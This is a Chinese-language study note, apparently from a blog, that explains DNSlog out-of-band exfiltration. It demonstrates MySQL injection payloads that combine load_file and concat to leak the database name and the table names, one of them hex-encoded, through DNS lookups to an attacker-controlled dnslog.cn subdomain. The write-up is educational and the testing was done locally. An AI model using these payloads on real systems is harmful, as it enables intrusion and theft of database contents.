DNSlog外带原理及注入分析

前言

最近一直听到DNSlog外带原理等词但对其原理一直只是自己的理解(回显DNS请求后的日志)并没有真正的了解过,所以这里做一下记录。

DNSlog原理

DNS

DNS(Domain Name System)就是域名系统,负责把域名转换成IP地址;例如向浏览器访问a.com,浏览器就会将其解析成真实的IP访问对应服务器上的服务。

DNSlog

DNSlog就是DNS的日志,DNS在域名解析的时候会留下域名和解析IP的记录

DNSlog外带原理

DNS在解析的时候会留下日志,我们将信息放在高级域名中,传递到自己这里,然后通过读日志获取信息。

所以这里跟最初的猜想基本一致,原理也就是通过DNS请求后,通过读取日志来获取我们的请求信息。

DNSlog注入

在搜索DNSlog原理时同时看到了DNSlog注入,所以本地测试一块都了解一下

前置知识

Load_file

注入主要用到了Load_file函数,功能是读取文件并返回文件内容为字符串。(访问互联网中的文件时,需要在最前面加上两个斜杠 //)

使用本函数有几个前提:
1、首先要有注入点
2、需要有root权限
3、数据库有读写权限即:secure_file_priv=“”
4、得有请求url权限
5、还必须得是windows服务器

D盘中写了个1.txt
在这里插入图片描述

通过load_file函数,读取一下

 select load_file('D:/1.txt')

在这里插入图片描述

concat

由于在通过load_file外带时是无法执行sql语句的,所以要通过concat函数,将执行的sql语句,与DNS请求的url进行拼接

select concat('Sentiment','\',(select database()));

在这里插入图片描述

本地测试

通过DNSlog外带数据库信息

select load_file(concat('//',(select database()),'.je5i3a.dnslog.cn/1.txt'));

在这里插入图片描述
在这里插入图片描述

外带表名

select load_file(concat('//',(select group_concat(table_name separator '_') from  information_schema.tables where table_schema=database()),'.je5i3a.dnslog.cn/1.txt'));

在这里插入图片描述
在这里插入图片描述

剩下的就是sql注入常规操作了,就不一一列举了

局限性

通过本地测试后,发现了一些问题,在url中传递字符有一定的局限性,很多字符是无法传递的,所以在外带时,可以通过十六进制编码绕过符号的局限性

select load_file(concat('//',(select hex(group_concat(table_name separator '_')) from  information_schema.tables where table_schema=database()),'.je5i3a.dnslog.cn/1.txt'));

在这里插入图片描述
在这里插入图片描述

十六进制转字符
在这里插入图片描述